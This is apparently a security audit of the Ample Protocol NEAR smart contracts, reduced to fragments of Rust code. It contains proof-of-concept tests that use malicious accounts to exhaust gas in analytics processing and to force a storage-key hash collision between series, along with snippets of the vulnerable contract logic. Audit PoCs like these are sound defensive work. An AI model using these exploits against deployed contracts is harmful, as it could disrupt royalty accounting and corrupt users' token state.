Ample ProtocolIP and Media Protocol Security Review

#[near_bindgen]impl Contract {    pub fn treasury_update_holder(        &self,        content_id: String,        token_id: String,        new_holder: AccountId,    ) -> Promise {        treasury_ext::ext("treasury.test.near".parse().unwrap())            .update_holder(content_id, token_id, new_holder)    }}

#[near_bindgen]impl Contract {pub fn update_holder(    &mut self,    content_id: ContentId,    token_id: TokenId,    new_holder: AccountId,) {    // 1. Retrieve the collection using collection_by_content_id    let collection = self.collection_by_content_id.get_mut(&content_id).unwrap();     // 2. Modify collection.holders_by_token_id to match the new holder, if no holder found,    //    crete the record    collection        .holders_by_token_id        .insert(&token_id, &new_holder);}}

#[near_bindgen]impl Contract {    /**    * This will be called periodically to upload ample usage metrics to the contract    */    pub fn add_analytics_data(&mut self, bulk_analytics: Vec<BulkAnalytics>, timestamp: Timestamp) {        // Iterate bulk data        for BulkAnalytics {            content_id,            streams,        } in bulk_analytics.iter()    ...

#[near_bindgen]impl Contract {    /**    * creates a new content and collection in the contract    */    pub fn add_content(&mut self, content: ReceivedContent, collection: ReceivedCollection) {        // convert team vector to UnorderedMap        let mut team: Option<UnorderedMap<AccountId, u8>>;        if content.team.is_some() {            team = Some(UnorderedMap::new(                env::block_timestamp().try_to_vec().unwrap(),            ));        ...

// populate holders_by_token_id clonefor (token_id, holder_account) in collection.holders_by_token_id.iter() {    holders_by_token_id.insert(&token_id.clone(), &holder_account.clone());}

#[tokio::test]async fn dos_of_adding_analytics() -> color_eyre::Result<()> {    let EnvData {        series_contract,        malicious_account,        malicious_account2,        treasury_contract,        ..    } = prepare().await?;     let outcome = series_contract        .call("add_approved_creator")        .args_json(json!({"account_id": malicious_account.id()}))        .transact()        .await?;     println!("Added creator: {} | {:#?}", malicious_account.id(), outcome);     let metadata = TokenMetadata {        title: None,        copies: Some(500),        reference: None,        reference_hash: None,        description: None,        media: None,        media_hash: None,        issued_at: None,        extra: None,        updated_at: None,    };     let mut royalty = HashMap::new();          for i in 0..2 {              royalty.insert(format!("{i}someaccount.near"), 100_u32);          }          let outcome = malicious_account              .call(series_contract.id(), "create_series")              .args_json(json!({"id": 2, "metadata": metadata, "content_id": "content", "owner": malicious_account.id(), "royalty": Some(royalty), "price": "1"})).max_gas().deposit(NearToken::from_near(1).into())              .transact().await?.into_result()?;

          println!("added new series: {outcome:#?}");           let received_content = ReceivedContent {              content_id: "content".to_string(),              content_type: "video".to_string(),              owner_id: malicious_account.id().clone(),              royalty: Royalty {                  owner: 10,                  team: Some(2),                  holders: Some(1),},              team: Some(vec![TeamMember {                  id: malicious_account2.id().clone(),                  percentage: 1,}]),          };          let received_collection = ReceivedCollection {              collection_id: 2,              total_supply: 200,          };                         let outcome = malicious_account2                                .call(treasury_contract.id(), "add_content").args_json(                                    json!({"content": received_content, "collection": received_collection}),                                ).transact().await?.into_result()?;                        println!("added_content: {outcome:#?}");                        let mut i = 0;                        while i < 100 {                            malicious_account                                .call(series_contract.id(), "nft_mint").args_json(                                    json!({"id": "2", "receiver_id": malicious_account2.id()}), ).deposit(NearToken::from_millinear(10).into()).transact().await?.into_result()?;                            println!("ADDED: {i}");                            i += 1;                        }                         let analytics = BulkAnalytics {                            content_id: "content".to_string(),                            streams: 10.0_f64,                        };

                        let outcome = treasury_contract                            .call("add_analytics_data").args_json(                                json!({"bulk_analytics": vec![analytics], "timestamp":10000000_u64}),                            ).transact().await?;                         for log in outcome.logs() {                            println!("LOG: {log}");                        }                        println!("OUTCOME: {outcome:#?}");                        Ok(())}

// holdersfor (_, holder_account) in holders_by_token_id.iter() {    log!(        "Adding {} streams to {}",        &streams_per_holder,        &holder_account    );    self.add_streams_to(&holder_account, content_id, streams_per_holder);}

series_id = 2account_id = 2clashing.test.nearstorage_key = sha256(22clashing.test.near)series_id_2 = 22account_id_2 = clashing.test.nearstorage_key_2 = sha256(22clashing.test.near)storage_key_2 == storage_key

// Insert the series and ensure it doesn't already existrequire!(    self.series_by_id        .insert(            &id,            &Series {                metadata,                royalty,                tokens: UnorderedSet::new(                    StorageKey::SeriesByIdInner {                        // We get a new unique prefix for the collection                        account_id_hash: hash_account_id(&format!(                            "{}{}",                            id, caller                        )),                    }                ),              ...

async fn series_hash_collission() -> color_eyre::Result<()> {    let EnvData {        series_contract,        malicious_account,        worker,        ..    } = prepare().await?;     let sk = SecretKey::from_random(KeyType::ED25519);     let acc1 = worker        .create_tla("2clashing.test.near".parse::<AccountId>()?, sk)        .await?        .unwrap();     let sk = SecretKey::from_random(KeyType::ED25519);     let acc2 = worker        .create_tla("clashing.test.near".parse::<AccountId>()?, sk)        .await?        .unwrap();         let outcome = series_contract            .call("add_approved_minter")            .args_json(json!({"account_id": acc1.id()})).transact().await?;        println!("Added minter: {} | {:#?}", acc1.id(), outcome);         let outcome = series_contract            .call("add_approved_minter")            .args_json(json!({"account_id": acc2.id()})).transact().await?;        println!("Added minter: {} | {:#?}", acc2.id(), outcome);         let outcome = series_contract            .call("add_approved_creator")            .args_json(json!({"account_id": acc1.id()})).transact().await?;        println!("Added creator: {} | {:#?}", acc1.id(), outcome);

        let outcome = series_contract            .call("add_approved_creator")            .args_json(json!({"account_id": acc2.id()})).transact().await?;        println!("Added creator: {} | {:#?}", acc2.id(), outcome);         let metadata = TokenMetadata {            title: None,            copies: None,            reference: None,            reference_hash: None,            description: None,            media: None,            media_hash: None,            issued_at: None,            extra: None,            updated_at: None,        };         let outcome = acc1            .call(series_contract.id(), "create_series")            .args_json(json!({"id": 2, "metadata": metadata, "content_id": "content", "owner": acc1.id()})).deposit(NearToken::from_near(1).into())            .transact().await?;        println!("added new series: {outcome:#?}");         let outcome = acc2            .call(series_contract.id(), "create_series")            .args_json(json!({"id": 22, "metadata": metadata, "content_id": "content", "owner": acc2.id()})).deposit(NearToken::from_near(1).into())            .transact().await?;        println!("added new series: {outcome:#?}");         let outcome = acc1            .view(series_contract.id(), "nft_tokens_for_series")            .args_json(json!({"id":2})).await?.json::<Vec<JsonToken>>()?;        println!("Tokens 2: {outcome:#?}");         let outcome = acc1            .view(series_contract.id(), "nft_tokens_for_series")            .args_json(json!({"id":22})).await?.json::<Vec<JsonToken>>()?;        println!("Tokens 22: {outcome:#?}");

        let outcome = acc1            .call(series_contract.id(), "nft_mint")            .args_json(json!({"id": "2", "receiver_id": malicious_account.id()}))            .deposit(NearToken::from_near(1).into()).transact().await?;        println!("Minted nft: {outcome:#?}");         let outcome = acc2            .call(series_contract.id(), "nft_mint")            .args_json(json!({"id": "22", "receiver_id": malicious_account.id()}))            .deposit(NearToken::from_near(1).into()).transact().await?;        println!("Minted nft: {outcome:#?}");         let outcome = acc1            .view(series_contract.id(), "nft_tokens_for_series")            .args_json(json!({"id":2})).await?.json::<Vec<JsonToken>>()?;        println!("Tokens 2: {outcome:#?}");         let outcome = acc1            .view(series_contract.id(), "nft_tokens_for_series")            .args_json(json!({"id":22})).await?.json::<Vec<JsonToken>>()?;        println!("Tokens 22: {outcome:#?}");        Ok(())}

else {    let mut new_analytics = Vector::new(env::block_timestamp().try_to_vec().unwrap());    new_analytics.push(&new_analytic);     self.analytics_by_content_id        .entry(content_id.clone())        .or_insert(new_analytics);}...let mut team_members: UnorderedMap<AccountId, u8> =    UnorderedMap::new(env::block_timestamp().try_to_vec().unwrap());let mut holders_by_token_id: UnorderedMap<String, AccountId> =    UnorderedMap::new(env::block_timestamp().try_to_vec().unwrap());    ...

match self.claims_by_account.get_mut(&caller_account) {    Some(claims) => {        claims.push(&Claim {            timestamp: env::block_timestamp_ms(),            claimed: royalties,        });    }    None => {        let mut new_claim = Vector::new(env::block_timestamp().try_to_vec().unwrap());        new_claim.push(&Claim {            timestamp: env::block_timestamp_ms(),            claimed: royalties,        });         self.claims_by_account            .insert(caller_account.clone(), new_claim);    }}...

if content.team.is_some() {    team = Some(UnorderedMap::new(        env::block_timestamp().try_to_vec().unwrap(),    ));    ...let new_collection = Collection {    collection_id: collection.collection_id,    total_supply: collection.total_supply,    holders_by_token_id: UnorderedMap::new((env::block_timestamp().try_to_vec().unwrap())),    };    ...    match self.contents_by_owner.get_mut(&content.owner_id.clone()) {        Some(contents) => {            contents.push(&content.content_id.clone());        }        None => {            let mut new_contents = Vector::new(env::block_timestamp().try_to_vec().unwrap());            new_contents.push(&content.content_id.clone());             self.contents_by_owner                .insert(content.owner_id.clone(), new_contents);        }    }

else {    // if don't exists, create a new record    self.streams_by_account.insert(        account_id.clone(),        UnorderedMap::new(env::block_timestamp().try_to_vec().unwrap()),    );    ...

fn nft_resolve_transfer(...) -> bool {    // Whether receiver wants to return token back to the sender, based on nft_on_transfer call result.    if let PromiseResult::Successful(value) = env::promise_result(0) {        //As per the standard, the nft_on_transfer should return whether we should return the token to it's owner or not        if let Ok(return_token) = near_sdk::serde_json::from_slice::<bool>(&value) {            if !return_token {...}}}     let mut token = if let Some(token) = self.tokens_by_id.get(&token_id) {        if token.owner_id != receiver_id {...}        token    } else {...};     self.internal_remove_token_from_owner(&receiver_id.clone(), &token_id);    self.internal_add_token_to_owner(&owner_id, &token_id);    token.owner_id = owner_id.clone();    refund_approved_account_ids(receiver_id.clone(), &token.approved_account_ids);    token.approved_account_ids = approved_account_ids;    self.tokens_by_id.insert(&token_id, &token);    ...

pub fn update_holder(    &mut self,    content_id: ContentId,    token_id: TokenId,    new_holder: AccountId,) {    // 1. Retrieve the collection using collection_by_content_id    let collection = self.collection_by_content_id.get_mut(&content_id).unwrap();

// payout to previous owner who gets 100% - total perpetual royaltiespayout_object.payout.insert(    owner_id,    royalty_to_payout(10000 - total_perpetual, balance_u128),);

pub(crate) fn calculate_cuts(percentage: f64, streams: f64) -> f64 {    let result: f64 = (percentage as f64 / 100.0) * streams;    result}

// calculate the total cut for each account of holders based on the collection's total_supply of nfts and holder's cutlet holders_cut = calculate_cuts(royalty.holders.unwrap_or(0) as f64, *streams);let holder_percentage = 100.0 / collection.total_supply as f32;let streams_per_holder = calculate_cuts(holder_percentage as f64, holders_cut);

fn nft_transfer_payout(    &mut self,    receiver_id: AccountId,    token_id: TokenId,    approval_id: u64,    memo: Option<String>,    balance: U128,    max_len_payout: u32,) -> Payout {...if royalty_option.is_none() {    let mut payout = HashMap::new();    payout.insert(owner_id, balance);    return Payout { payout };}

//make sure we're not paying out to too many people (GAS limits this)assert!(    royalty.len() as u32 <= max_len_payout,    "Market can&not payout to that many receivers");

[lib]crate-type = ["cdylib", "rlib"]